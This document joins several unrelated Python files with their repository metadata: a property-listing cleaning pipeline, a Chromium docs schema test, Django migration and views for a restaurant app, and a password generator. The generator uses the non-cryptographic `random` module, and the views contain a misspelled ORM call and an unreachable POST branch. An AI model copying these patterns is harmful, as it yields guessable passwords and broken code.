matriz.iloc[:,indices_dummys_barrios:] = dummys_barrios matriz = matriz.loc[matriz.localidad.str.contains('capital')] #SKLEARN nuevos_feactures = matriz[['superficieJardines','superficieTerrazas','superficieJardinesTerrazas']].applymap(lambda x: 1 if x>0 else 0) #GENERO VARIABLES INDEPENDIENTES #nuevos_feactures_2 = pd.DataFrame(matriz.superficieJardines + matriz.superficieTerrazas + matriz.superficieJardinesTerrazas) x_feactures=matriz.iloc[:,16:] df1 = pd.concat([matriz['superficie_total'],nuevos_feactures],axis=1) xs = pd.concat([df1,x_feactures],axis=1) #GENERO VARIABLE DEPENDIENTE y = matriz.precio_m2 matriz = pd.concat([y,xs],axis=1) #matriz['superficie_total_2'] = matriz.superficie_total**2 #matriz['superficie_total_3'] = (matriz.superficie_total**2)**2 return matriz def GenerarMatriz(p_data): data = p_data #GENERAR MATRIZ matriz = pd.DataFrame({ 'id':data['Unnamed: 0'], 'tipo':data['operation'], 'propiedad':data.property_type, 'id_localizacion':data.geonames_id, 'pais':data.country_name.astype(str).apply(uni.unidecode).str.lower(), 'localidad':data.state_name.astype(str).apply(uni.unidecode).str.lower(), 'barrio':data.place_name.astype(str).apply(uni.unidecode).str.lower(), 'moneda':data.currency.str.lower(), 'ambientes':data.imputar_ambientes, 'superficie_total':data.surface_total_in_m2, 'superficie_cubierta_m2':data.surface_covered_in_m2, 'precio_aprox_usd':data.price_aprox_usd, 'precio_m2':data.price_usd_per_m2, 'superficieJardines':data.superficieJardines.apply(lambda x: 1 if x else 0), 'superficieTerrazas':data.superficieTerraza.apply(lambda x: 1 if x else 0), 'superficieJardinesTerrazas':data.superficieJarTer.apply(lambda x: 1 if x else 0) }) return matriz def imputarAmbientes(p_data): data = p_data ##IMPUTANDO AMBIENTES data.ambientesImputados = ImputarAmbientesProceso(data,10) data.ambientesImputados.update(data.ambientes) return data.ambientesImputados def ImputarSupCubierta(p_data): data = p_data #IMPUTAR FALTANTES CANTIDAD_AMBIENTES CON SUPERFICIES CUBIERTAS data['superficie_cubierta_imputada'] = np.nan imputar_serie = ImputarSupCubiertaProceso(data,5) data.superficie_cubierta_imputada.update(imputar_serie) data.superficie_cubierta_imputada.update(data.surface_total_in_m2) data.superficie_cubierta_imputada.update(data.surface_covered_in_m2) return data.superficie_cubierta_imputada def ImputarSupTotal(p_data): data = p_data data['superficie_total_imputada_Cubierta'] = ImputarSupTotalCubierta(data,10) data['superficie_total_imputada_Ambientes'] = ImputarSupTotalAmbientes(data,5) data.superficie_total_imputada_Ambientes.update(data.superficie_total_imputada_Cubierta) data.superficie_total_imputada_Ambientes.update(data.surface_total_in_m2) return data.superficie_total_imputada_Ambientes def ImputarTotalMenorCubierta(p_data): data = p_data #CUANDO LA SUPERFICIE TOTAL < SUPERFICIE CUBIERTA REEMPLAZO CON SUPERFICIE CUBIERTA + JARDIN/TERRAZA superficie_jardin_imputada_ceros = data.superficieJardines.fillna(0) superficie_terraza_imputada_ceros = data.superficieTerraza.fillna(0) sup_terraza_jardin_imputada_ceros = data.superficieJarTer.fillna(0) data.surface_total_in_m2.loc[data.surface_total_in_m2-data.surface_covered_in_m2<0] = data.surface_covered_in_m2 + superficie_jardin_imputada_ceros + superficie_terraza_imputada_ceros + sup_terraza_jardin_imputada_ceros return data.surface_total_in_m2 def generarSupJardines(p_data): data = p_data ##OBTENGOS JARDINES, TERRAZAS booleanos_jardines =(data.description.str.contains('parquizado'))|(data.description.str.contains('patio'))|(data.description.str.contains('jardin')) booleanos_terraza = (data.description.str.contains('terraza'))|(data.description.str.contains('quincho')) ##CALCULO SUPERFICIES DE JARDINES (SIN TERRAZA) serie_jardines = (booleanos_jardines) & (~booleanos_terraza) data['superficies_jardines'] = serie_jardines return data.superficies_jardines def generarSupTerrazas(p_data): data = p_data ##OBTENGOS JARDINES, TERRAZAS booleanos_jardines =(data.description.str.contains('parquizado'))|(data.description.str.contains('patio'))|(data.description.str.contains('jardin')) booleanos_terraza = (data.description.str.contains('terraza'))|(data.description.str.contains('quincho')) ##CALCULO SUPERFICIES DE TERRAZAS (SIN JARDINES) serie_terraza = (booleanos_terraza) & (~booleanos_jardines) data['superficie_terraza'] = serie_terraza return data.superficie_terraza def generarSupJarTer(p_data): data = p_data ##OBTENGOS JARDINES, TERRAZAS booleanos_jardines =(data.description.str.contains('parquizado'))|(data.description.str.contains('patio'))|(data.description.str.contains('jardin')) booleanos_terraza = (data.description.str.contains('terraza'))|(data.description.str.contains('quincho')) ##CALCULO SUPERFICIES DE TERRAZAS CON JARDINES serie_terraza_jardin = (booleanos_terraza) & (booleanos_jardines) data['superficie_terraza_jardin'] = serie_terraza_jardin return data.superficie_terraza_jardin def quitarMayusculasAcentos(p_data): data = p_data ##REEMPLAZO COLUMNAS DESCRIPCION Y TITULO (MINUSCULAS Y ACENTOS) data.description = data.description.astype(str).apply(uni.unidecode).str.lower() data.title = data.title.astype(str).apply(uni.unidecode).str.lower() return data def generoAmbientes(p_data): data = p_data ##CONTIENE AMBIENTES EN CAMPO DESCRIPCION un_ambiente = data[data.rooms<=7].description.str.contains("ambiente ") | data.description.str.contains("amb.","amb ") & data.description.str.contains("1 amb") dos_o_mas_ambientes = data.description.str.contains("ambientes") | data.description.str.contains("2 amb") data["un_ambiente"]=un_ambiente ##CONTIENE AMBIENTES DE CAMPOS TITULO Y DESCRIPCION cant_ambientes_old_desc = data[data.rooms<=7].description.astype(str).apply(obtengo_ambiente) cant_ambientes_old_title = data[data.rooms<=7].title.astype(str).apply(obtengo_ambiente) cant_ambientes_desc = cant_ambientes_old_desc.str.extract(r'(\d+)') cant_ambientes_title = cant_ambientes_old_title.str.extract(r'(\d+)') data['cantidad_ambientes_desc'] = cant_ambientes_desc data['cantidad_ambientes_title'] = cant_ambientes_title ##CONTIENE AMBIENTES DE DESCIPCIONES CON 1 AMBIENTE data['un_ambiente'] = data.un_ambiente data['monoambiente'] = data[data.rooms<=7].description.str.contains('monoambiente') | data.description.str.contains('mono ambiente') | data.title.str.contains('monoambiente') | data.title.str.contains('mono ambiente') data['ambientes'] = data.rooms[data.rooms.fillna(100).astype(int)<6].astype(int) ##LO AGREGO LOS DE 1 AMBIENTES A LOS QUE YA TENGO var_un_ambiente = data.un_ambiente.apply(devolver_un_ambiente) var_monoambiente = data.monoambiente.apply(devolver_un_ambiente) #data.cantidad_ambientes_title.update(data.cantidad_ambientes_desc) data.ambientes.update(data.cantidad_ambientes_title) data.ambientes.update(data.cantidad_ambientes_desc) ##SUMARIZO TODOS LOS AMBIENTES data['var_un_ambiente'] = var_un_ambiente data['var_monoambiente'] = var_monoambiente data.var_un_ambiente.update(data.ambientes) data.var_monoambiente.update(data.var_un_ambiente) ##GUARDO LA COLUMNA DE AMBIENTES EN DATA.NUEVOS_AMBIENTES data['nuevos_ambientes'] = data.var_monoambiente data['ambientes_ceros'] = data.nuevos_ambientes.fillna(0).astype(int) return data.nuevos_ambientes def TransformacionData(p_data): data = p_data #QUITO LAS FILAS REPETIDAS DEL CAMPO DESCRIPCION data = data.drop_duplicates(subset=['description'], keep='first') #QUITO LAS FILAS CON SUPERFICIE CUBIERTA MENOR A 16 data = data[(data.surface_covered_in_m2>16)|(data.surface_covered_in_m2.isnull())] #QUITO LAS FILAS CON SUPERFICIE TOTAL MENOR A 16 data = data[(data.surface_total_in_m2>16)|(data.surface_total_in_m2.isnull())] #QUITO LAS FILAS CON SUPERFICIES CUBIERTAS MENOR 50 DE CASAS data = data[(~((data.surface_covered_in_m2<50)&(data.property_type.str.contains('house'))))] #QUITO LAS FILAS CON SUPERFICIE TOTAL MENOR 50 DE CASAS data = data[(~((data.surface_total_in_m2<50)&(data.property_type.str.contains('house'))))] #PONGO NULOS LOS VALORES DE SUPERFICIE CUBIERTA CUANDO SUPERFICIE_CUBIERTA>SUPERFICIE_TOTAL data.surface_covered_in_m2[data.surface_covered_in_m2>data.surface_total_in_m2] = np.nan #data.surface_total_in_m2.update(data.surface_covered_in_m2) return data def devolver_un_ambiente (x): if x : return 1 def obtengo_ambiente(x): v_1 = x.lower() # texto en minuscula v_2 = v_1.find('amb') # posicion "amb" if v_2<0: return -1 else: v_3 = v_2-2 # posicion -2 OBTENGO NUMERO DE AMBIENTES v_4 = v_2-1 # posicion -1 OBTENGO NUMERO DE AMBIENTES v_5 = v_1[v_3:v_4] return v_5 def OutliersSupTotal(p_data, Desviacion): data_modificada = p_data # GENERO CULUMNA DE MEDIAS AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD media__ = data_modificada.groupby(['state_name', 'place_name', 'property_type'])['surface_total_in_m2'].transform('mean') #GENERO COLUMNA DE STD AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD str__ = data_modificada.groupby(['state_name','place_name','property_type'])['surface_total_in_m2'].transform('std') #GENERO COLUMNA CON LA FORMULA DE CHEUVENET PARA EL CALCULO DE OUTLIERS criterio_cheuvenet__ = (abs(data_modificada.surface_total_in_m2-media__))/(str__) #guardar_datos_outliers_originales = pd.DataFrame(data_modificada.surface_total_in_m2.loc[criterio_cheuvenet__>Desviacion]) #data.merge(guardar_datos_outliers_originales, how='left', left_index=True, right_index=True)[''] data_modificada.surface_total_in_m2.loc[criterio_cheuvenet__>Desviacion] = np.nan return data_modificada def OutliersSupCubierta(p_data, Desviacion): data_modificada = p_data # GENERO CULUMNA DE MEDIAS AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD media__ = data_modificada.groupby(['state_name', 'place_name', 'property_type'])['surface_covered_in_m2'].transform('mean') #GENERO COLUMNA DE STD AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD str__ = data_modificada.groupby(['state_name','place_name','property_type'])['surface_covered_in_m2'].transform('std') #GENERO COLUMNA CON LA FORMULA DE CHEUVENET PARA EL CALCULO DE OUTLIERS criterio_cheuvenet__ = (abs(data_modificada.surface_covered_in_m2-media__))/(str__) data_modificada.surface_covered_in_m2.loc[criterio_cheuvenet__>Desviacion] = np.nan return data_modificada def OutliersPrecioUSD(p_data, Desviacion): data_modificada = p_data # GENERO CULUMNA DE MEDIAS AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD media__ = data_modificada.groupby(['state_name', 'place_name', 'property_type'])['price_aprox_usd'].transform('mean') #GENERO COLUMNA DE STD AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD str__ = data_modificada.groupby(['state_name','place_name','property_type'])['price_aprox_usd'].transform('std') #GENERO COLUMNA CON LA FORMULA DE CHEUVENET PARA EL CALCULO DE OUTLIERS criterio_cheuvenet__ = (abs(data_modificada.price_aprox_usd-media__))/(str__) data_modificada.price_aprox_usd.loc[criterio_cheuvenet__>Desviacion] = np.nan return data_modificada def OutliersPrecioM2(p_data, Desviacion): data_modificada = p_data # GENERO CULUMNA DE MEDIAS AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD media__ = data_modificada.groupby(['state_name', 'place_name', 'property_type'])['price_usd_per_m2'].transform('mean') #GENERO COLUMNA DE STD AGRUPANDO POR PCIA, BARRIO, TIPO DE PROPIEDAD str__ = data_modificada.groupby(['state_name','place_name','property_type'])['price_usd_per_m2'].transform('std') #GENERO COLUMNA CON LA FORMULA DE CHEUVENET PARA EL CALCULO DE OUTLIERS criterio_cheuvenet__ = (abs(data_modificada.price_usd_per_m2-media__))/(str__) data_modificada.price_usd_per_m2.loc[criterio_cheuvenet__>Desviacion] = np.nan return data_modificada def ImputarAmbientesProceso(p_data, rango): data = p_data data['imputar_ambientes'] = np.nan for i in range(1,rango): #GENERAR GRUPOS DE SUPERFICIES data['categorias_sup_cubierta_por_m2'] = pd.qcut(data[data.surface_covered_in_m2>10].surface_covered_in_m2,i) #CALCULAR MEDIAS CANTIDAD_AMBIENTES dfImputacionesAmbientes = pd.DataFrame(data[data.ambientes_ceros!=0].groupby(['state_name','place_name','categorias_sup_cubierta_por_m2'])['ambientes_ceros'].mean()) serie_imputaciones_ambientes = data.merge(dfImputacionesAmbientes,how='left',left_on=['state_name','place_name','categorias_sup_cubierta_por_m2'],right_on=['state_name','place_name','categorias_sup_cubierta_por_m2'])['ambientes_ceros_y'] data.imputar_ambientes.update(serie_imputaciones_ambientes) break data.rooms[data.rooms>7] = np.nan data.imputar_ambientes.update(data.rooms) return data.imputar_ambientes def ImputarSupCubiertaProceso(p_data, rango): data = p_data data['imputando_superficies_cubiertas'] = np.nan data.imputar_ambientes = data.imputar_ambientes.fillna(0).astype(int) for i in range(1,rango): #GENERAR GRUPOS DE AMBIENTES EN PESOS data['ambientes_imputados_ceros'] = data.ambientesImputados.fillna(0).astype(float) data['categorias_ambientes'] = pd.qcut(data.imputar_ambientes,i) #CALCULAR MEDIAS SUPERFICIES CUBIERTAS df_superficies_imput = pd.DataFrame(data[data.ambientes_imputados_ceros>=1].groupby(['state_name','place_name','property_type','categorias_ambientes'])['surface_covered_in_m2'].mean()) imputar_serie = data.merge(df_superficies_imput,how='left',left_on=['state_name','place_name','property_type','categorias_ambientes'],right_on=['state_name','place_name','property_type','categorias_ambientes'])['surface_covered_in_m2_y'] data.imputando_superficies_cubiertas.update(imputar_serie) break for i in range (1,rango): #GENERAR GRUPOS DE SUPERFICIES TOTAL data['categorias_sup_total'] = pd.qcut(data.surface_total_in_m2,rango) imputar_serie_Cubierta_con_total = data.groupby(['state_name','place_name','property_type','categorias_sup_total'])['surface_covered_in_m2'].transform('mean') data.imputando_superficies_cubiertas.update(imputar_serie_Cubierta_con_total) break return data.imputando_superficies_cubiertas def ImputarSupTotalCubierta(p_data, rango): data = p_data data['imputando_superficies_total'] = np.nan for i in range(1,rango): #GENERAR GRUPOS DE SUPERFICIES data['categorias_sup_cubierta_por_m2'] = pd.qcut(data.surface_covered_in_m2,i) #CALCULAR MEDIAS CANTIDAD_AMBIENTES dfImputarTotal = pd.DataFrame(data.groupby(['state_name','place_name','categorias_sup_cubierta_por_m2'])['surface_total_in_m2'].mean()) serie_imputaciones_ambientes = data.merge(dfImputarTotal,how='left',left_on=['state_name','place_name','categorias_sup_cubierta_por_m2'],right_on=['state_name','place_name','categorias_sup_cubierta_por_m2'])['surface_total_in_m2_y'] data.imputando_superficies_total.update(serie_imputaciones_ambientes) break return data.imputando_superficies_total def ImputarSupTotalAmbientes(p_data, rango): data = p_data data['imputando_superficies_total'] = np.nan data.imputar_ambientes = data.imputar_ambientes.fillna(0).astype(int) for i in range(1, rango): data['categorias_ambientes'] = pd.qcut(data.imputar_ambientes,i) #CALCULAR MEDIAS AGRUPANDO POR AMBIENTES dfImputarTotal = pd.DataFrame(data.groupby(['state_name','place_name','categorias_ambientes'])['surface_total_in_m2'].mean()) serie_imputaciones_ambientes = data.merge(dfImputarTotal,how='left',left_on=['state_name','place_name','categorias_ambientes'],right_on=['state_name','place_name','categorias_ambientes'])['surface_total_in_m2_y'] data.imputando_superficies_total.update(serie_imputaciones_ambientes) break return data.imputando_superficies_total def imputarPrecio(p_data): data = p_data #data['imputandoPrecioSupTotalJarTer'] = ImputarPrecioJarTer(data) data['imputandoPrecioSupTotal'] = ImputarPrecioSupTotal(data) #data.imputandoPrecioSupTotalJarTer.update(data.imputandoPrecioSupTotal) data.imputandoPrecioSupTotal.update(data.price_aprox_usd) return data.imputandoPrecioSupTotal def ImputarPrecioSupTotal(p_data, rango=5): data = p_data data['imputar_precios_usd'] = np.nan for i in range(1,rango): data['categorias_superficie_total_m2'] = pd.qcut(data.surface_total_in_m2,i) df_precio_sup_total = pd.DataFrame(data.groupby(['state_name','place_name','property_type','categorias_superficie_total_m2'])['price_aprox_usd'].mean()) serie_imputada_precio_sup_total = data.merge(df_precio_sup_total,how='left',left_on=['state_name','place_name','property_type','categorias_superficie_total_m2'], right_on=['state_name','place_name','property_type','categorias_superficie_total_m2'])['price_aprox_usd_y'] data.imputar_precios_usd.update(serie_imputada_precio_sup_total) break return data.imputar_precios_usd def ImputarPrecioJarTer(p_data, rango=5): data = p_data data['imputar_precios_usd'] = np.nan data['categoria_superficie_cubierta_imputada'] = pd.qcut(data.surface_covered_in_m2,5) for i in range(1,rango): data['categorias_superficie_terraza'] = pd.qcut(data.superficieTerraza,i) ##IMPUTAR PRECIOS DE SUPERFICIES CON TERRAZA df_terraza = pd.DataFrame(data[data.categorias_superficie_terraza.notnull()].groupby(['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_terraza'])['price_aprox_usd'].mean()) data['imputar_precios_terraza'] = data.merge(df_terraza, how='left', left_on=['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_terraza'],right_on=['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_terraza'])['price_aprox_usd_y'] data.imputar_precios_usd.update(data.imputar_precios_terraza) data['categorias_superficie_jardines'] = pd.qcut(data.superficieJardines,i) ##IMPUTAR PRECIOS DE SUPERFICIES CON JARDINES df_jardin = pd.DataFrame(data[data.categorias_superficie_jardines.notnull()].groupby(['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_jardines'])['price_aprox_usd'].mean()) data['imputar_precios_jardines'] = data.merge(df_jardin,how='left',left_on=['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_jardines'], right_on=['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_jardines'])['price_aprox_usd_y'] data.imputar_precios_usd.update(data.imputar_precios_jardines) data['categorias_superficie_terraza_jardin'] = pd.qcut(data.superficieJarTer,i) ##IMPUTAR PRECIOS DE SUPERFICIES CON TERRAZAS Y JARDINES df_terraza_jardin = pd.DataFrame(data[data.categorias_superficie_terraza_jardin.notnull()].groupby(['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_terraza_jardin'])['price_aprox_usd'].mean()) data['imputar_precios_terraza_jardin'] = data.merge(df_terraza_jardin, how='left', left_on=['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_terraza_jardin'], right_on=['state_name','place_name','property_type','categoria_superficie_cubierta_imputada','categorias_superficie_terraza_jardin'])['price_aprox_usd_y'] data.imputar_precios_usd.update(data.imputar_precios_terraza_jardin) break return data.imputar_precios_usd def imputarPrecioM2(p_data): data = p_data data['nuevos_precios_m2'] = data.price_aprox_usd/data.surface_total_in_m2 data.nuevos_precios_m2[data.nuevos_precios_m2<500] = np.nan data.nuevos_precios_m2[data.nuevos_precios_m2>6000] = np.nan #data['nuevos_precios_m2'].update(data.price_usd_per_m2) return data.nuevos_precios_m2 #def imputarPrecioM2(p_data): #data = p_data #data['imputar_precios_m2'] = np.nan #data['categorias_superficie_total_m2'] = pd.qcut(data.surface_total_in_m2,20) #data['categorias_precios_aprox_usd'] = pd.qcut(data.price_aprox_usd,20) #df_precio_sup_total = pd.DataFrame(data.groupby(['state_name','place_name','property_type','surface_total_in_m2','price_aprox_usd'])['price_usd_per_m2'].mean()) #serie_imputada_precio_sup_total = data.merge(df_precio_sup_total,how='left',left_on=['state_name','place_name','property_type','surface_total_in_m2','price_aprox_usd'], right_on=['state_name','place_name','property_type','surface_total_in_m2','price_aprox_usd'])['price_usd_per_m2_y'] #data.imputar_precios_m2.update(serie_imputada_precio_sup_total) #data.imputar_precios_m2.update(data.price_usd_per_m2) #return data.imputar_precios_m2

[ "baqueroemanuel@gmail.com" ]

baqueroemanuel@gmail.com

ec4aa967893296c95ba645ee12fe5e385358928c

5456502f97627278cbd6e16d002d50f1de3da7bb

/chrome/common/extensions/docs/server2/schema_processor_test.py

f7862583b704fe17595d6b4258eff8a9acf0d5c9

[ "BSD-3-Clause" ]

permissive

TrellixVulnTeam/Chromium_7C66

72d108a413909eb3bd36c73a6c2f98de1573b6e5

c8649ab2a0f5a747369ed50351209a42f59672ee

refs/heads/master

2023-03-16T12:51:40.231959

2017-12-20T10:38:26

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Python

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#!/usr/bin/env python # Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import unittest from copy import deepcopy from schema_processor import SchemaProcessor from future import Future from object_store_creator import ObjectStoreCreator from host_file_system_provider import HostFileSystemProvider from compiled_file_system import CompiledFileSystem class _FakeReferenceResolver(): def GetRefModel(self, ref, api_list): return None, None class _FakeAPIModels(): def GetNames(self): return [] class _FakeFeaturesBundle(): def GetAPIFeatures(self): return Future(value={}) class SchemaUtilTest(unittest.TestCase): def testRemoveNoDocs(self): expected_nodoc = [ { 'name': 'B', 'list': [ { 'name': 'B2' } ] }, { 'name': 'D', 'nodoc': False }, { 'name': 'E', 'items1': [ { 'name': 'E1', 'items': [ { 'name': 'E1.3' } ] }, { 'name': 'E2' } ] } ] nodoc_data = [ { 'name': 'A', 'nodoc': True }, { 'name': 'B', 'list': [ { 'name': 'B1', 'nodoc': True }, { 'name': 'B2' }, { 'name': 'B3', 'nodoc': True } ] }, { 'name': 'C', 'nodoc': True }, { 'name': 'D', 'nodoc': False }, { 'name': 'E', 'dict': { 'name': 'Ed', 'nodoc': True }, 'items1': [ { 'name': 'E1', 'items': [ { 'name': 'E1.1', 'nodoc': True }, { 'name': 'E1.2', 'nodoc': True }, { 'name': 'E1.3' } ] }, { 'name': 'E2' }, { 'name': 'E3', 'nodoc': True } ] } ] object_store_creator = ObjectStoreCreator(start_empty=False) host_file_system_provider = HostFileSystemProvider(object_store_creator) schema_processor = SchemaProcessor(_FakeReferenceResolver(), _FakeAPIModels(), _FakeFeaturesBundle(), CompiledFileSystem.Factory( object_store_creator), host_file_system_provider.GetMaster(), True) schema_processor._RemoveNoDocs(nodoc_data) self.assertEquals(expected_nodoc, nodoc_data) def testInlineDocs(self): schema = { 'namespace': 'storage', 'properties': { 'key2': { 'description': 'second key', '$ref': 'Key' }, 'key1': { 'description': 'first key', '$ref': 'Key' } }, 'types': [ { 'inline_doc': True, 'type': 'string', 'id': 'Key', # Should be inlined into both properties and be removed # from types. 'description': 'This is a key.', # This description should disappear. 'marker': True # This should appear three times in the output. }, { 'items': { '$ref': 'Key' }, 'type': 'array', 'id': 'KeyList', 'description': 'A list of keys' } ] } expected_schema = { 'namespace': 'storage', 'properties': { 'key2': { 'marker': True, 'type': 'string', 'description': 'second key' }, 'key1': { 'marker': True, 'type': 'string', 'description': 'first key' } }, 'types': [ { 'items': { 'marker': True, 'type': 'string' }, 'type': 'array', 'id': 'KeyList', 'description': 'A list of keys' } ] } object_store_creator = ObjectStoreCreator(start_empty=False) host_file_system_provider = HostFileSystemProvider(object_store_creator) schema_processor = SchemaProcessor(_FakeReferenceResolver(), _FakeAPIModels(), _FakeFeaturesBundle(), CompiledFileSystem.Factory( object_store_creator), host_file_system_provider.GetMaster(), False) inlined_schema = deepcopy(schema) schema_processor._InlineDocs(inlined_schema) self.assertEqual(expected_schema, inlined_schema) def testDetectInline(self): schema = { 'types': [ { 'id': 'Key', 'items': { '$ref': 'Value' } }, { 'id': 'Value', 'marker': True } ] } expected_schema = { 'types': [ { 'id': 'Key', 'items': { 'marker': True, } } ] } object_store_creator = ObjectStoreCreator(start_empty=False) host_file_system_provider = HostFileSystemProvider(object_store_creator) schema_processor = SchemaProcessor(_FakeReferenceResolver(), _FakeAPIModels(), _FakeFeaturesBundle(), CompiledFileSystem.Factory( object_store_creator), host_file_system_provider.GetMaster(), False) schema_processor._DetectInlineableTypes(schema) schema_processor._InlineDocs(schema) self.assertEqual(expected_schema, schema) if __name__ == '__main__': unittest.main()

[ "lixiaodonglove7@aliyun.com" ]

lixiaodonglove7@aliyun.com

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/crawl/migrations/0001_initial.py

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dukuaris/Django

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refs/heads/master

2022-12-09T04:05:09.329256

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# Generated by Django 2.2.6 on 2020-03-16 15:36 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Product', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=50, verbose_name='TITLE')), ('description', models.CharField(blank=True, help_text='simple description text.', max_length=100, verbose_name='DESCRIPTION')), ('price', models.CharField(max_length=20, null=True, verbose_name='PRICE')), ('review', models.CharField(max_length=20, null=True, verbose_name='NUMBER_OF_REVIEWS')), ('score', models.CharField(max_length=20, null=True, verbose_name='SCORE')), ('image', models.ImageField(blank=True, null=True, upload_to='ProductImages', verbose_name='IMAGE')), ('rank', models.CharField(blank=True, max_length=10, null=True, verbose_name='RANK')), ('create_dt', models.DateTimeField(auto_now_add=True, verbose_name='CREATE DATE')), ('owner', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='OWNER')), ], options={ 'verbose_name': 'product', 'verbose_name_plural': 'products', 'db_table': 'crawl_products', 'ordering': ('-rank',), }, ), ]

[ "dukuaris@gmail.com" ]

dukuaris@gmail.com

bcde15fdabb4ae9833286607ebfe97eb4db771fa

32976cfb755fcc4ffabc47615b82122b3424eaaf

/manage.py

3838714a7d44389c739f0e9b9b511d8afa1dc506

[]

no_license

henriquemsouza/Desafio-vizir

2664ee55be11a5658a0fe2f471da0ee5db04cb77

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refs/heads/master

2021-07-10T17:59:27.057189

2017-10-13T11:57:13

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256

py

#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "showmethecode.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)

[ "henrique.m_s@hotmail.com" ]

henrique.m_s@hotmail.com

2f4419826b5f78871ab89e3e2320477118c049cc

4b44a299bafbd4ca408ce1c89c9fe4a449632783

/python2/10_Modules/03_random/05_password_generator.py

1ffd148580e202e7cef103b05984f9dd1c8822c4

[]

no_license

umunusb1/PythonMaterial

ecd33d32b2de664eaaae5192be7c3f6d6bef1d67

1e0785c55ccb8f5b9df1978e1773365a29479ce0

refs/heads/master

2023-01-23T23:39:35.797800

2020-12-02T19:29:00

null

0

null

UTF-8

Python

false

529

py

import string from random import choice, randint, randrange print 'string.ascii_letters :', string.ascii_letters print 'string.digits :', string.digits print 'string.punctuation :', string.punctuation characters = string.ascii_letters + string.punctuation \ + string.digits password1 = "".join(choice(characters) for x in range(randint(8, 16))) print 'password1 :', password1 password2 = "".join(choice(characters) for x in range(randrange(8, 16))) print 'password2 :', password2

[ "uday3prakash@gmail.com" ]

uday3prakash@gmail.com

9ee3283e8325a1a2a86e00956634bf487004910e

80ab528ecba746cd89666a2674adb9f9cc7f16a6

/app/dishes/views.py

4917352b82fc8d5965dba6c5bc7a478e46f51643

[]

no_license

caffeinecodes/restaurantBooking

ce9da58329492bdd3bd4d39b1aca9c1e5c55427f

3e82ec55fd9bcd78fe7042190cbca2a68c17ec5e

refs/heads/master

2020-03-25T18:52:42.014722

2018-08-15T10:34:29

144,053,347

0

null

UTF-8

Python

false

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py

from django.shortcuts import render from rest_framework.response import Response from rest_framework import status, views from rest_framework.parsers import JSONParser from rest_framework.response import Response from rest_framework import status from rest_framework.decorators import api_view from rest_framework.permissions import IsAuthenticated from rest_framework.permissions import AllowAny from rest_framework.decorators import api_view, authentication_classes, permission_classes from app.dishes.serializer import CategorySerializer, DishSerializer from app.dishes.models import Category, Dish @api_view(['GET', 'POST']) @permission_classes((AllowAny, )) def dish_list(request): if request.method == 'GET': response_data = {} dish = Dish.objects.all() dish_serializer = DishSerializer(dish, many=True) return Response( { 'code': 200, 'message': 'Dish List', 'data': dish_serializer.data }, status=status.HTTP_200_OK) elif request.method == 'POST': data = request.data dish_name = data.get("name") category_id = data.get("category_id") profile_id = 1 mrp = data.get("mrp") offer_price = data.get("offer_price") is_veg = data.get("is_veg") time_slot = data.get("time_slot", []) description = data.get("description") dish, created = Dish.objects.get_or_create( name=dish_name, category_id=category_id, profile_id=profile_id, mrp=mrp, offer_price=offer_price, is_veg=is_veg, time_slot=time_slot, description=description) dish_serializer = DishSerializer(dish, many=False) return Response( { 'code': 201 if created else 200, 'message': 'Category created successfully', 'data': dish_serializer.data }, status=status.HTTP_201_CREATED) @api_view(['GET']) @permission_classes((AllowAny, )) def categories(request): if request.method == 'GET': response_data = {} data = request.query_params show_products = data.get("products", 0) selectedCategory = data.get("selectedCategory", None) category = Category.objects.filter( id=selectedCategory) if selectedCategory else Category.objects.all( ) response_data["categories"] = CategorySerializer( category, many=True, context={ 'list_dishes': True if show_products else False }).data return Response( { 'code': 200, 'message': 'Category list fetched successfully', 'data': response_data }, status=status.HTTP_200_OK) elif request.method == 'POST': data = request.data category_name = data.get("name", None) category, created = Category.objects.get_or_created(name=category_name) category_serializer = CategorySerializer(category, many=False) return Response( { 'code': 201 if created else 200, 'message': 'Category created successfully', 'data': category_serializer.data }, status=status.HTTP_201_CREATED) @api_view(['PUT']) @permission_classes((AllowAny, )) def dish_quantity(request): data = request.data dish_id = data.get("dish_id") quantity = data.get("quantity", 0) try: dish = Dish.objects.get(id=dish_id) dish.quantity = quantity dish.save() except Dish.DoesNotExist: return Response( { 'code': 400, 'message': 'Menu item not found', 'data': None }, status=status.HTTP_404_NOT_FOUND) dish_serializer = DishSerializer(dish, many=False) return Response( { 'code': 200, 'message': 'Quantity updated successfully', 'data': dish_serializer.data }, status=status.HTTP_200_OK)

[ "write2afsal@gmail.com" ]

write2afsal@gmail.com

1f6272dd78779c03efd2ad46f34e0a75950c930f

85c0ac04965a93864aadb311c3004dce7f62ae85

/new_controller_api.py

1349b0afe07bf3de0c6aa8da9f70e45818d3722f

[]

no_license

azriel94530/SpectroCCDTools

d33db06b25afcece7c0490e465740c446581ee89

e7d63bbcc5c2e4dda4cfb216953c24f99d744d0f

refs/heads/master

2020-12-13T23:31:37.163081

2016-06-28T00:00:45

48,209,618

0

null

2015-12-18T02:23:39

